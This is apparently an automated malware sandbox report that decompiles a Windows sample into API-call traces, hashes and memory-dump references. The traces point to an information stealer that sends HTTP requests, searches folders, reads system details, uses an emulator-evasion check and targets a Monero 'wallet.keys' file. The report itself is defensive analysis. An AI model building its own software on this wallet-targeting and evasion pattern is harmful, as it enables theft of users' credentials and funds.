Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 254fd0df17ece01cff29d049209b04b1715f67b9304d0f2ab1b55cab4606dd01
Instruction ID: 71174595d45b98be1c40b2e95bdc92ce1de3a9993511a16122a25420445f36a0
Opcode Fuzzy Hash: 254fd0df17ece01cff29d049209b04b1715f67b9304d0f2ab1b55cab4606dd01
Instruction Fuzzy Hash: 8311DA30930648ABCF14FFA4DD52AED7378AF50340F804168F81A5A592EF34AB26CB91

Function 00294F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00298DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00298E0B

lstrcat.KERNEL32(?,00000000), ref: 00294F7A
lstrcat.KERNEL32(?,002A1070), ref: 00294F97
lstrcat.KERNEL32(?,00E48900), ref: 00294FAB
lstrcat.KERNEL32(?,002A1074), ref: 00294FBD

Part of subcall function 00294910: wsprintfA.USER32 ref: 0029492C
Part of subcall function 00294910: FindFirstFileA.KERNEL32(?,?), ref: 00294943

Part of subcall function 00294910: StrCmpCA.SHLWAPI(?,002A0FDC), ref: 00294971
Part of subcall function 00294910: StrCmpCA.SHLWAPI(?,002A0FE0), ref: 00294987
Part of subcall function 00294910: FindNextFileA.KERNEL32(000000FF,?), ref: 00294B7D
Part of subcall function 00294910: FindClose.KERNEL32(000000FF), ref: 00294B92

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 59fcaee597bb32a2b57a44d2a1bc7fa5be162c2271bc751ad6f58f228b51da09
Instruction ID: 4a7bc248a7a1122dd6e3823c02b0cf7fe2734b32ec661547e8b68c84e03fc570
Opcode Fuzzy Hash: 59fcaee597bb32a2b57a44d2a1bc7fa5be162c2271bc751ad6f58f228b51da09
Instruction Fuzzy Hash: 6321AA7691020CA7CB94FBB0EC46EED333CAB55304F404554B659921C1EE749AF9CFA6

Function 00290740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00E48960), ref: 0029079A
StrCmpCA.SHLWAPI(00000000,00E488D0), ref: 00290866
StrCmpCA.SHLWAPI(00000000,00E489B0), ref: 0029099D

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: ab37f8fa884e72f2bca7bc7d6a65bd0a6ddd9d87e7db413dcd03bc3b97a01b10
Instruction ID: 5ff4e548fa8c41f286f05a8086a80c7383afe4f83c14bb4516d423abb60310c8
Opcode Fuzzy Hash: ab37f8fa884e72f2bca7bc7d6a65bd0a6ddd9d87e7db413dcd03bc3b97a01b10
Instruction Fuzzy Hash: 2D914A75A202089FCF18EF64D996AEDB7B5BF95300F508519E80A9F281DB309A15CFD2

Function 00290765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00E48960), ref: 0029079A
StrCmpCA.SHLWAPI(00000000,00E488D0), ref: 00290866
StrCmpCA.SHLWAPI(00000000,00E489B0), ref: 0029099D

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 0d5b7fdf51353b302209f379c19aa4c9b3c2674a76bc3b9d4993f72946f4ad62
Instruction ID: 332902765ca283d70f4e9c4876ed1519e27c58ea31810dd24ca35a1fd0843eb7
Opcode Fuzzy Hash: 0d5b7fdf51353b302209f379c19aa4c9b3c2674a76bc3b9d4993f72946f4ad62
Instruction Fuzzy Hash: B0815775A202089FCF18EF64D996AEDB7B5FF94300F508529E80A9F241DB309A15CFD2

Function 002978E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00297910
RtlAllocateHeap.NTDLL(00000000), ref: 00297917
GetComputerNameA.KERNEL32(?,00000104), ref: 0029792F

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 385f9b776250566a9c5b309b7bd65a5417406dd9ee3b6a187bf363f100834fb9
Instruction ID: b975119fc88ab85e8deaad4c2a88dc2ed67737920677d591e67c27bea07da30d
Opcode Fuzzy Hash: 385f9b776250566a9c5b309b7bd65a5417406dd9ee3b6a187bf363f100834fb9
Instruction Fuzzy Hash: DA01A9B1A24209EFDB40DF94DD45FAEBBB8F704B15F10422AF645E3280C77459148BA1

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Function 00299470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00299484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 002994A5
CloseHandle.KERNEL32(00000000), ref: 002994AF

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 766beb84a279fcefbd077a45a8f75b016613b5d3e578a81429e41a58ebd48b9e
Instruction ID: 38a037078823ae59c959a01fec8914478d142ff7d1f63ab8835b62029a1c293d
Opcode Fuzzy Hash: 766beb84a279fcefbd077a45a8f75b016613b5d3e578a81429e41a58ebd48b9e
Instruction Fuzzy Hash: 4DF05E7490020CFBDF05EFA4DC4AFED77B8EB08314F004598BA0997290D6B0AE95CB95

Function 00281110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0028112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00281132
ExitProcess.KERNEL32 ref: 00281143

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 30259a532143985042839bd25c670411b599ceb8e0becc1d1c3c01f3df76bdb2
Instruction ID: 77b4267bc0bf076b87f4617f37061c4d4353f2cecc74fb6480ec0bf65fbb145b
Opcode Fuzzy Hash: 30259a532143985042839bd25c670411b599ceb8e0becc1d1c3c01f3df76bdb2
Instruction Fuzzy Hash: 27E0E67495630CFBE7507BA09C0EF09767CAB04B05F104064F709761D0D6B56A619B9D

Function 00291A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 00297500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00297542
